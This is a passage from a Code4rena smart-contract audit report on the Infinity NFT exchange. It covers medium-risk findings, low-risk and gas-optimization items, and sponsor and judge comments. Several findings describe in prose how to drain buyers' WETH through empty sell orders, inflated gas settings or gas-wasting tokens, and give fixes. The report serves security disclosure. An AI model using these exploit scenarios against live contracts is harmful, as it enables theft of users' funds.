However, If the hacker proposes another `sellOrder3` which sells nothing but requests money/tokens. The `MatchOneToManyOrders(buyOrder, [sellOrder0, sellOrder1, sellOrder2, sellOrder3])` will also succeed and the hacker does not need to send out any NFT token but grabs a considerable gain.

Attack Scenario

There are two possible attack scenarios.

The `MATCH_EXECUTOR` is not in a good faith

`MATCH_EXECUTOR` can always gain profit by leveraging this vulnerability. That is, every time the executor proposes a `MatchOneToManyOrders`, it can add one more *EMPTY* order to gain the profit.

It is one kind of centralization issue. All the processes should happen in a trust-less environment.

Hackers can brute force the price gaps by sending out a large amount of *EMPTY* sell orders

Note that creating an order happens off-chain. That means, the hacker can send out a large amount of *EMPTY* orders without paying any gas fee.

Once the executor picks any of the malicious orders, the hacker can gain the profit without a loss of NFT tokens.

This vulnerability also affects `matchOrders`.

Proof of Concept

For full details, see original submission.

Recommended Mitigation Steps

To mitigate the issue entirely, I would suggest banning any empty NFT transfers.

For example, `numNfts` must be bigger than zero here. Also make sure the ERC1155 transferring at least 1 item.

nneverlander (Infinity) acknowledged and commented:

> Please check this: https://github.com/infinitydotxyz/exchange-contracts-v2/commit/7f0e195d52165853281b971b8610b27140da6e41

> No more ERC1155 either.

> The loop that transfers NFTs already checks for non empty array

> Not sure of the assessment.

HardlyDifficult (judge) decreased severity to Medium and commented:

> This is a great report, appreciate the detail and the PoC code.

> Given that the call must originate from the match executor, it seems unlikely that it would match with an empty sell order. Additionally it should be easy to filter these when submitted off-chain. With that in mind, lowering this to a Medium risk issue.

[M-07] Malicious governance can use `updateWethTranferGas` to steal WETH from buyers

Submitted by shenwilly, also found by 0x29A, berndartmueller, BowTiedWardens, peritoflores, and VAD37

https://github.com/code-423n4/2022-06-infinity/blob/765376fa238bbccd8b1e2e12897c91098c7e5ac6/contracts/core/InfinityExchange.sol#L1260-L1263

https://github.com/code-423n4/2022-06-infinity/blob/765376fa238bbccd8b1e2e12897c91098c7e5ac6/contracts/core/InfinityExchange.sol#L739-L747

Vulnerability Details

A malicious or compromised governance can set the transfer gas cost to an unreasonable amount and steal approved WETH from buyers.

There are two ways for governance to exploit this:

- When an order is being executed, governance can frontrun the transactions by setting `WETH_TRANSFER_GAS_UNITS` to a very high amount.
- Set `WETH_TRANSFER_GAS_UNITS` to a very high amount, and execute trades against active buy orders. As long as the value of WETH to steal is higher than the cost to prepare the NFTs to sell, it is profitable to do so.

Proof of Concept

- `WETH_TRANSFER_GAS_UNITS` is set to `50000`.
- Alice has 100 WETH and 100 USDC. She approved infinite allowance to `InfinityExchange`.
- Alice signs a buy order to buy a FakePunk NFT with 100 USDC price.
- Malicious governance sets `WETH_TRANSFER_GAS_UNITS` to a very high amount such that the gasCost calculation equals 100 WETH.
- Governance then bought a FakePunk in open market, and fills Alice's order.
- Alice received the NFT but paid 100 WETH as gas cost.

Recommended Mitigation Steps

Set a sanity check in `updateWethTranferGas` so governance can't set it to unreasonable value. Consider using timelock for setting governance settings.

```
    function updateWethTranferGas(uint32 _wethTransferGasUnits) exte
        require(_wethTransferGasUnits <= 100000, "gas unit must not
        WETH_TRANSFER_GAS_UNITS = _wethTransferGasUnits;
        emit NewWethTransferGasUnits(_wethTransferGasUnits);
    }
```

nneverlander (Infinity) acknowledged, but disagreed with severity

HardlyDifficult (judge) commented:

> When a transaction is sent by the matching engine, the user pays for the gas costs of their portion of that call. There's overhead in actually getting the money from the user in WETH, which is estimated with WETH*TRANSFER*GAS_UNITS. That value is currently uncapped so the admin could increase it significantly, impacting users who signed orders back when that value was more reasonably assigned.

> Agree with Medium risk here.

[M-08] Incorrect condition marks valid order as invalid

Submitted by csanuragjain, also found by KIntern

`canExecMatchOrder` is having an incorrect check which makes a valid order as invalid.

`doItemsIntersect` function is also checked on sell.nfts, buy.nfts which is incorrect.

`doItemsIntersect` should only be checked in reference to constructedNfts.

Proof of Concept

1. Assume buy has nfts {A,B,C}, sell has nft {A,B}, constructedNfts has nft {A}, buy.constraints[0]/sell.constraints[0]/numConstructedItems is 1

2. Ideally this order should match since constructedNfts {A} is present in both buy and sell
3. But this will not match since doItemsIntersect(sell.nfts, buy.nfts) will fail because of item C which is not present in sell

Recommended Mitigation Steps

Remove doItemsIntersect(sell.nfts, buy.nfts) from InfinityOrderBookComplication.sol#L140

nneverlander (Infinity) confirmed and resolved:

> Fixed in https://github.com/infinitydotxyz/exchange-contracts-v2/commit/74a7d6b39dc441b5b496b74735a1b09b93bef12f

HardlyDifficult (judge) decreased severity to Medium and commented:

> Some orders that should be matched would revert. Lowering this to Medium risk.

[M-09] Malicious tokens can be used to grief buyers and cause loss of their WETH balance

Submitted by 0xalpharush

https://github.com/code-423n4/2022-06-infinity/blob/765376fa238bbccd8b1e2e12897c91098c7e5ac6/contracts/core/InfinityExchange.sol#L739-L746

https://github.com/code-423n4/2022-06-infinity/blob/765376fa238bbccd8b1e2e12897c91098c7e5ac6/contracts/core/InfinityExchange.sol#L727

https://github.com/code-423n4/2022-06-infinity/blob/765376fa238bbccd8b1e2e12897c91098c7e5ac6/contracts/core/InfinityExchange.sol#L1087

Impact

The function `matchOneToOneOrders` transfers an arbitrary amount of WETH from the user, `buy.signer`, in its inner call to `_execMatchOneToOneOrders`. The amount charged to the user is calculated dynamically based off of the gas consumption consumed during the trace. Notably, this amount is controlled by the seller since the seller's token can be malicious and purposefully consume a large amount of gas to grief the buyer. For example, when a user purchases an ERC721 token, the `_transferNFTs` will result in a call to an `ERC721.safeTransferFrom` that can exhibit any behavior such as wasting gas. This scenario is unlikely given that a buyer would have to purchase a malicious token, but the impact would be devastating as any WETH that the buyer has approved to the exchange can be lost.

This vulnerability is potentially possible in these functions as well:
https://github.com/code-423n4/2022-06-infinity/blob/765376fa238bbccd8b1e2e12897c91098c7e5ac6/contracts/core/InfinityExchange.sol#L236-L242
https://github.com/code-423n4/2022-06-infinity/blob/765376fa238bbccd8b1e2e12897c91098c7e5ac6/contracts/core/InfinityExchange.sol#L787-L796

Proof of Concept

A buyer gives infinite WETH approval to the exchange contract and unknowingly purchases a malicious token from an attacker. The attacker's token wastes gas in the transfer call and causes *all* of the buyer's WETH to be sent to the protocol when `matchOneToOneOrders` is performed by the match executor.

Recommended Mitigation Steps

Allow users to input a maximum fee/ gas cost they are willing to spend on each order. Pulling an arbitrary amount from a user's wallet without any restriction is a dangerous practice given that many users give large/ infinite approval to contracts.

In addition, manual gas accounting is error prone and it would make more sense to allow users to match orders themselves instead of extracting fees to compensate the matcher.

nneverlander (Infinity) acknowledged and commented:

> Thanks, we are adding a max price variable

HardlyDifficult (judge) commented:

> This is a clever way to leverage safeTransferFrom to grief users. Accepting as Medium risk.

Low Risk and Non-Critical Issues

For this contest, 78 reports were submitted by wardens detailing low risk and non-critical issues. The report highlighted below by **joestakey** received the top score from the judge.

The following wardens also submitted reports: IllIllI, 0x1f8b, reassor, zzzitron, 0x29A, GimelSec, BowTiedWardens, hyh, berndartmueller, oyc_109, cryptphi, VAD37, Kenshin, 0xNazgul, horsefacts, defsec, 0xDjango, StErMi, Ruhum, hansfriese, PPrieditis, 0xNineDec, MadWookie, robee, throttle, csanuragjain, Lambda, Treasure-Seeker, GreyArt, hake, samruna, unforgiven, sorrynotsorry, KIntern, Wayne, Czar102, peritoflores, sseefried, sach1r0, georgypetrov, antonttc, Kaiziron, cloudjunky, 0x52, Chom, _Adam, shenwilly, saian, codexploder, 0xkowloon, WatchPug, cccz, wagmi, apostle0x01, fatherOfBlocks, TomJ, 8olidity, TerrierLover, rfa, simon135, Cityscape, 0xmint, FSchmoede, delfin454000, k, rajatbeladiya, nxrblsrpr, Sm4rty, ElKu, asutorufos, Picodes, abhinavmir, Funen, kenta, MiloTruck, a12jmx, *and* 0xf15ers.

[L-01] Event should be emitted in setters

Setters should emit an event so that Dapps can detect important changes to storage.

Proof of Concept

Instances include:

InfinityExchange.sol

All the functions editing the currencies and complications of the exchange should emit an event
function addCurrency
function addComplication

function removeCurrency
function removeComplication

function updateMatchExecutor

InfinityStaker.sol

function updateStakeLevelThreshold
function updatePenalties
function updateInfinityTreasury

Mitigation

Emit an event in all setters.

[L-02] Check zero denominator

When a division is computed, it must be ensured that the denominator is non-zero to prevent failure of the function call.

Proof of Concept

Instances include:

InfinityStaker.sol

((threeMonthLock - threeMonthVested) / THREE*MONTH*PENALTY)
((sixMonthLock - sixMonthVested) / SIX*MONTH*PENALTY)
((twelveMonthLock - twelveMonthVested) / TWELVE*MONTH*PENALTY)

All these storage variables in the denominators are set by the owner in `updatePenalties()` , and can be `0` as there is no non-zero check.

Mitigation

Before doing these computations, add a non-zero check to these variables. Or alternatively, add a non-zero check in `updatePenalties()` .

[L-03] Immutable addresses lack zero-address check

Constructors should check the address written in an immutable address variable is not the zero address

Proof of Concept

Instances include:

InfinityExchange.sol

[WETH = _WETH]

Mitigation

Add a zero address check for `_WETH`.

[L-04] Payable functions when using ERC20

There should be a `require(0 == msg.value)` to ensure no Ether is being sent to the exchange when the currency used in an order is a ERC20 token.

Proof of Concept

Instances include:

InfinityExchange.sol

scope: `takeMultipleOneOrders`

- When `!isMakerSeller`, there is no check to see if `msg.value == 0`

scope: `takeOrders`

- When `!isMakerSeller`, there is no check to see if `msg.value == 0`

Mitigation

Add `require(0 == msg.value)` in both condition blocks mentioned above.

[L-05] Receive function

InfinityStaker.sol is not supposed to receive ETH. Instead of using a rescue function, remove `receive()` and `fallback()` altogether.

Proof of Concept

Instances include:

InfinityStaker.sol

[fallback() external payable](#)
[receive() external payable](#)
[function rescueETH(address destination) external payable](#)

Mitigation

Remove these functions, or include a call to `rescueETH` in `receive()` , so that a user that mistakenly sends ETH to the Staker retrieves it immediately.

[L-06] Setters should check the input value

Setters should check the input value - ie make revert if it is the zero address or zero

Proof of Concept

Instances include:

InfinityExchange.sol

[function updateMatchExecutor](#)

InfinityStaker.sol

[function updateStakeLevelThreshold](#) There should be a check that the new threshold does not break the following: BRONZE < SILVER < GOLD < PLATINUM
[function updatePenalties](#)
[function updateInfinityTreasury](#)

Mitigation

Add non-zero checks - address or uint - to the setters aforementioned.

[L-07] Timelock or maximum amount on updatePenalties

`updatePenalties()` changes how much a user loses upon “ragequiting” - ie withdrawing their tokens from the staker without waiting for the vesting period. It currently does not have any timelock, or any maximum amount: the owner can set the penalties such that a user calling `rageQuit()` loses all their `Infinity` tokens (all would be transferred to `INFINITY_TREASURY`). Adding a timelock would provide more guarantees to users and reduces the level of trust required.

Proof of Concept

Instances include:

InfinityStaker.sol

updatePenalties

Mitigation

Either add a timelock to `updatePenalties()`, or add a maximum penalty check.

[N-01] Comment Missing function parameter

Some of the function comments are missing function parameters or returns

Proof Of Concept

Instances include:

InfinityExchange.sol

bool verifySellOrder
uint256 execPrice
address seller,address buyer,OrderTypes.OrderItem[] calldata constructedNfts,address currency,uint256 amount
address seller,address buyer,uint256 sellNonce,uint256 buyNonce,OrderTypes.OrderItem[] calldata constructedNfts,address currency,uint256 amount
OrderTypes.MakerOrder calldata order
OrderTypes.MakerOrder calldata order

address destination,address currency,uint256 amount
address destination

InfinityOrderBookComplication.sol

OrderTypes.MakerOrder calldata sell, OrderTypes.MakerOrder calldata buy
OrderTypes.MakerOrder calldata sell, OrderTypes.MakerOrder calldata buy
OrderTypes.MakerOrder calldata sell,OrderTypes.MakerOrder calldata buy,OrderTypes.OrderItem[] calldata constructedNfts
OrderTypes.MakerOrder calldata makerOrder, OrderTypes.OrderItem[] calldata takerItems
OrderTypes.MakerOrder[] calldata orders
OrderTypes.MakerOrder calldata order

InfinityStaker.sol

address user,uint256 amount,uint256 noVesting,uint256 vestedThreeMonths,uint256 vestedSixMonths,uint256 vestedTwelveMonths
address user
address destination
StakeLevel stakeLevel, uint16 threshold
uint16 threeMonthPenalty,uint16 sixMonthPenalty,uint16 twelveMonthPenalty
address _infinityTreasury

Mitigation

Add a comment for these parameters

[N-02] Commented code

There are portions of commented code in some files.

Proof of Concept

Instances include:

InfinityExchange.sol

line 1169
line1186

line1202

Mitigation

Remove commented code

[N-03] Constants instead of magic numbers

It is best practice to use constant variables rather than literal values to make the code easier to understand and maintain.

Proof of Concept

Instances include:

InfinityExchange.sol

20000
1000000
10000
10000
10000
10000
10**4

InfinityOrderBookComplication.sol

10**4

InfinityStaker.sol

10**18

Mitigation

Define constant variables for the literal values aforementioned.

[N-04] Events indexing

Events should use indexed fields

Proof of Concept

Instances include:

InfinityExchange.sol

event CancelAllOrders(address user, uint256 newMinNonce)
event CancelMultipleOrders(address user, uint256[] orderNonces)
event NewWethTransferGasUnits(uint32 wethTransferGasUnits))
event NewProtocolFee(uint16 protocolFee)
event MatchOrderFulfilled(bytes32 sellOrderHash,bytes32 buyOrderHash,address seller,address buyer,address complication, // address of the complication that defines the execution ,address currency, // token address of the transacting currency,uint256 amount // amount spent on the order)
event TakeOrderFulfilled(bytes32 orderHash,address seller,address buyer,address complication, // address of the complication that defines the executionaddress currency, // token address of the transacting currencyuint256 amount // amount spent on the order)

InfinityStaker.sol

event Staked(address indexed user, uint256 amount, Duration duration)
event DurationChanged(address indexed user, uint256 amount, Duration oldDuration, Duration newDuration)
event UnStaked(address indexed user, uint256 amount)
event RageQuit(address indexed user, uint256 totalToUser, uint256 penalty)

InfinityToken.sol

event EpochAdvanced(uint256 currentEpoch, uint256 supplyMinted)

Mitigation

Add indexed fields to these events so that they have the maximum number of indexed fields possible.

[N-05] Function missing comments

Some functions are missing comments.

Proof of Concept

Instances include:

InfinityExchange.sol

function _emitMatchEvent

function _emitTakerEvent

function _nftsHash

function _tokensHash

InfinityStaker.sol

function _getDurationInSeconds

InfinityToken.sol

function advanceEpoch()

function _beforeTokenTransfer()

function _afterTokenTransfer()

function _mint()

function _burn()

function getAdmin()

function getTimelock()

function getInflation()

function getCliff()

function getMaxEpochs()

function getEpochDuration()

Mitigation

Add comments to these functions

[N-06] Public functions can be external

It is good practice to mark functions as `external` instead of `public` if they are not called by the contract where they are defined.

Proof of Concept

Instances include:

InfinityStaker.sol

[function getUserTotalStaked()]()
[function getUserTotalVested()]()

Mitigation

Declare these functions as `external` instead of `public`

[N-07] Related data should be grouped in struct

When there are mappings that use the same key value, having separate fields is error prone, for instance in case of deletion or with future new fields.

Proof of Concept

Instances include:

InfinityExchange.sol

```
    mapping(address => uint256) public userMinOrderNonce;
    mapping(address => mapping(uint256 => bool)) public isUserOrderN
```

Mitigation

Group the related data in a struct and use one mapping:

```
    struct OrderNonce {
      uint256 userMin;
      mapping(uint256 => bool) isExecutedOrCancelled;
    }
```

And it would be used as a state variable:

```
    mapping(address =>  OrderNonce) orderNonces;
```

[N-08] Scientific notation

For readability, it is best to use scientific notation (e.g `10e5`) rather than decimal literals(`100000`) or exponentiation(`10**5`)

Proof of Concept

Instances include:

InfinityExchange.sol

uint32 public WETH*TRANSFER*GAS_UNITS = 50000
20000
1000000
10000
10000
10000
10000
10**4

InfinityOrderBookComplication.sol

10**4

InfinityStaker.sol

uint16 public BRONZE*STAKE*THRESHOLD = 1000
uint16 public SILVER*STAKE*THRESHOLD = 5000
uint16 public GOLD*STAKE*THRESHOLD = 10000
uint16 public PLATINUM*STAKE*THRESHOLD = 20000
10**18

Mitigation

Replace the numbers aforementioned with their scientific notation

nneverlander (Infinity) commented:

> Thanks

HardlyDifficult (judge) commented:

> I love how you name the inlined links — really improves the readability.

Gas Optimizations

For this contest, 56 reports were submitted by wardens detailing gas optimizations. The report highlighted below by IllIIIIIIIIIll received the top score from the judge.

The following wardens also submitted reports: joestakey, antonttc, robee, peritoflores, PwnedNoMore, 0x1f8b, 0xKitsune, defsec, StErMi, MiloTruck, MadWookie, BowTiedWardens, FSchmoede, reassor, simon135, 0xkatana, Tomio, hansfriese, Tadashi, 0x29A, _Adam, 0xf15ers, Picodes, TerrierLover, codexploder, Kenshin, 0xkowloon, Chom, c3phas, ElKu, Kaiziron, Waze, GimelSec, hake, slywaters, Funen, zer0dot, kenta, Wayne, 0xNazgul, TomJ, delfin454000, hyh, fatherOfBlocks, apostle0x01, 0xDjango, Lambda, 0xAsm0d3us, oyc_109, PPrieditis, 0v3rf10w, asutorufos, rfa, sach1r0, *and* k.

Summary

	Issue	Instances
G-01	Multiple `address` mappings can be combined into a single `mapping` of an `address` to a `struct`, where appropriate	1
G-02	State variables only set in the constructor should be declared `immutable`	2
G-03	State variables can be packed into fewer storage slots	1
G-04	State variables should be cached in stack variables rather than re-reading them from storage	9
G-05	Multiple accesses of a mapping/array should use a local variable cache	13
G-06	`internal` functions only called once can be inlined to save gas	22
G-07	Add `unchecked {}` for subtractions where the operands cannot underflow because of a previous `require()` or `if`-statement	3
G-08	`require()` / `revert()` strings longer than 32 bytes cost extra gas	3

	Issue	Instances
G-09	Using `bool` s for storage incurs overhead	1
G-10	Using `> 0` costs more gas than `!= 0` when used on a `uint` in a `require()` statement	1
G-11	`>=` costs less gas than `>`	1
G-12	It costs more gas to initialize non-`constant` /non-`immutable` variables to zero than to let the default of zero be applied	26
G-13	Splitting `require()` statements that use `&&` saves gas	2
G-14	Usage of `uints` / `ints` smaller than 32 bytes (256 bits) incurs overhead	39
G-15	Using `private` rather than `public` for constants, saves gas	5
G-16	Duplicated `require()` / `revert()` checks should be refactored to a modifier or function	6
G-17	Empty blocks should be removed or emit something	4
G-18	Use custom errors rather than `revert()` / `require()` strings to save gas	47
G-19	Functions guaranteed to revert when called by normal users can be marked `payable`	13

Total: 199 instances over 19 issues

[G-01] Multiple `address` mappings can be combined into a single `mapping` of an `address` to a `struct` , where appropriate

Saves a storage slot for the mapping. Depending on the circumstances and sizes of types, can avoid a Gsset (**20000 gas**) per mapping combined. Reads and subsequent writes can also be cheaper when a function requires both values and they both fit in the same storage slot. Finally, if both fields are accessed in the same function, can save **~42 gas per access** due to not having to recalculate the key's keccak256 hash (Gkeccak256 - **30 gas**) and that calculation's associated stack operations.

There is 1 instance of this issue:

```
File: contracts/core/InfinityExchange.sol   #1

70      mapping(address => uint256) public userMinOrderNonce;
71
72      /// @dev This records already executed or cancelled orde
73:     mapping(address => mapping(uint256 => bool)) public isUs
```

https://github.com/code-423n4/2022-06-infinity/blob/765376fa238bbccd8b1e2e12897c91098c7e5ac6/contracts/core/InfinityExchange.sol#L70-L73

[G-02] State variables only set in the constructor should be declared `immutable`

Avoids a Gsset (**20000 gas**) in the constructor, and replaces each Gwarmacces (**100 gas**) with a `PUSH32` (**3 gas**).

There are 2 instances of this issue. (For in-depth details on this and all further gas optimizations with multiple instances, see the warden's full report.)

[G-03] State variables can be packed into fewer storage slots

If variables occupying the same slot are both written the same function or by the constructor, avoids a separate Gsset (**20000 gas**). Reads of the variables can also be cheaper

There is 1 instance of this issue:

```
File: contracts/staking/InfinityStaker.sol   #1

/// @audit Variable ordering with 3 slots instead of the current
/// @audit  mapping(32):userstakedAmounts, address(20):INFINITY_
```

```
23:     mapping(address => mapping(Duration => StakeAmount)) pub
```

https://github.com/code-423n4/2022-06-infinity/blob/765376fa238bbccd8b1e2e12897c91098c7e5ac6/contracts/staking/InfinityStaker.sol#L23

[G-04] State variables should be cached in stack variables rather than re-reading them from storage

The instances below point to the second+ access of a state variable within a function. Caching of a state variable replace each Gwarmaccess (**100 gas**) with a much cheaper stack read. Other less obvious fixes/optimizations include having local memory caches of state variable structs, or having local caches of state variable contracts/addresses.

There are 9 instances of this issue.

[G-05] Multiple accesses of a mapping/array should use a local variable cache

The instances below point to the second+ access of a value inside a mapping/array, within a function. Caching a mapping's value in a local `storage` or `calldata` variable when the value is accessed multiple times, saves **~42 gas per access** due to not having to recalculate the key's keccak256 hash (Gkeccak256 - **30 gas**) and that calculation's associated stack operations. Caching an array's struct avoids recalculating the array offsets into memory/calldata

There are 13 instances of this issue.

[G-06] `internal` functions only called once can be inlined to save gas

Not inlining costs **20 to 40 gas** because of two extra `JUMP` instructions and additional stack operations needed for function calls.

There are 22 instances of this issue.

[G-07] Add `unchecked {}` for subtractions where the operands cannot underflow because of a previous `require()` or `if`-statement

`require(a <= b); x = b - a` => `require(a <= b); unchecked { x = b - a }`

There are 3 instances of this issue.

[G-08] `require()` / `revert()` strings longer than 32 bytes cost extra gas

Each extra memory word of bytes past the original 32 incurs an MSTORE which costs **3 gas**

There are 3 instances of this issue.

[G-09] Using `bool`s for storage incurs overhead

```
        // Booleans are more expensive than uint256 or any type that
        // word because each write operation emits an extra SLOAD tc
        // slot's contents, replace the bits taken up by the boolear
        // back. This is the compiler's defense against contract upc
        // pointer aliasing, and it cannot be disabled.
```

https://github.com/OpenZeppelin/openzeppelin-contracts/blob/58f635312aa21f947cae5f8578638a85aa2519f5/contracts/security/ReentrancyGuard.sol#L23-L27

Use `uint256(1)` and `uint256(2)` for true/false to avoid a Gwarmaccess (100 gas) for the extra SLOAD, and to avoid Gsset (**20000 gas**) when changing from 'false' to 'true', after having been 'true' in the past

There is 1 instance of this issue:

```
File: contracts/core/InfinityExchange.sol   #1
```

```
73:     mapping(address => mapping(uint256 => bool)) public isUs
```

https://github.com/code-423n4/2022-06-infinity/blob/765376fa238bbccd8b1e2e12897c91098c7e5ac6/contracts/core/InfinityExchange.sol#L73

[G-10] Using `> 0` costs more gas than `!= 0` when used on a `uint` in a `require()` statement

This change saves 6 gas per instance. The optimization works until solidity version 0.8.13 where there is a regression in gas costs.

There is 1 instance of this issue:

```
File: contracts/core/InfinityExchange.sol   #1

392:      require(numNonces > 0, 'cannot be empty');
```

https://github.com/code-423n4/2022-06-infinity/blob/765376fa238bbccd8b1e2e12897c91098c7e5ac6/contracts/core/InfinityExchange.sol#L392

[G-11] `>=` costs less gas than `>`

The compiler uses opcodes `GT` and `ISZERO` for solidity code that uses `>`, but only requires `LT` for `>=`, which saves 3 gas

There is 1 instance of this issue:

```
File: contracts/token/InfinityToken.sol   #1

67        epochsPassedSinceLastAdvance = epochsPassedSinceLastAc
68          ? epochsLeft
69:         : epochsPassedSinceLastAdvance;
```

https://github.com/code-423n4/2022-06-infinity/blob/765376fa238bbccd8b1e2e12897c91098c7e5ac6/contracts/token/InfinityToken.sol#L67-L69

[G-12] It costs more gas to initialize non-`constant`/non-`immutable` variables to zero than to let the default of zero be applied

Not overwriting the default for stack variables saves **8 gas**. Storage and memory variables have larger savings

There are 26 instances of this issue.

[G-13] Splitting `require()` statements that use `&&` saves gas

See this issue which describes the fact that there is a larger deployment gas cost, but with enough runtime calls, the change ends up being cheaper

There are 2 instances of this issue.

[G-14] Usage of `uints`/`ints` smaller than 32 bytes (256 bits) incurs overhead

> When using elements that are smaller than 32 bytes, your contract's gas usage may be higher. This is because the EVM operates on 32 bytes at a time. Therefore, if the element is smaller than that, the EVM must use more operations in order to reduce the size of the element from 32 bytes to the desired size.

https://docs.soliditylang.org/en/v0.8.11/internals/layout_in_storage.html Use a larger size then downcast where needed

There are 39 instances of this issue.

[G-15] Using `private` rather than `public` for constants, saves gas

If needed, the value can be read from the verified contract source code. Saves **3406-3606 gas** in deployment gas due to the compiler not having to create non-payable getter functions for deployment calldata, not having to store the bytes of the value outside of where it's used, and not adding another entry to the method ID table

There are 5 instances of this issue.

[G-16] Duplicated `require()` / `revert()` checks should be refactored to a modifier or function

Saves deployment costs

There are 6 instances of this issue.

[G-17] Empty blocks should be removed or emit something

The code should be refactored such that they no longer exist, or the block should do something useful, such as emitting an event or reverting. If the contract is meant to be extended, the contract should be `abstract` and the function signatures be added without any default implementation. If the block is an empty `if` -statement block to avoid doing subsequent checks in the else-if/else conditions, the else-if/else conditions should be nested under the negation of the if-statement, because they involve different classes of checks, which may lead to the introduction of errors when the code is later modified (`if(x){}else if(y){...}else{...}` => `if(!x){if(y){...}else{...}}`)

There are 4 instances of this issue.

[G-18] Use custom errors rather than `revert()` / `require()` strings to save gas

Custom errors are available from solidity version 0.8.4. Custom errors save [~50 gas]() each time they're hitby [avoiding having to allocate and store the revert string](). Not defining the strings also save deployment gas

There are 47 instances of this issue.

[G-19] Functions guaranteed to revert when called by normal users can be marked `payable`

If a function modifier such as `onlyOwner` is used, the function will revert if a normal user tries to pay the function. Marking the function as `payable` will lower the gas cost for legitimate callers because the compiler will not include checks for whether a payment was provided. The extra opcodes avoided are `CALLVALUE` (2), `DUP1` (3), `ISZERO` (3), `PUSH2` (3), `JUMPI` (10), `PUSH1` (3), `DUP1` (3), `REVERT` (0), `JUMPDEST` (1), `POP` (2), which costs an average of about **21 gas per call** to the function, in addition to the extra deployment cost

There are 13 instances of this issue.

nneverlander (Infinity) commented:

> Thank you for the detailed report.

HardlyDifficult (judge) commented:

> 🔥

Disclosures

C4 is an open organization governed by participants in the community.

C4 Contests incentivize the discovery of exploits, vulnerabilities, and bugs in smart contracts. Security researchers are rewarded at an increasing rate for finding higher-risk issues. Contest submissions are judged by a knowledgeable security researcher and solidity developer and disclosed to sponsoring developers. C4 does not conduct formal verification regarding the provided code but instead provides final verification.

C4 does not provide any guarantee or warranty regarding the security of this project. All smart contract software should be used at the sole risk and responsibility of users.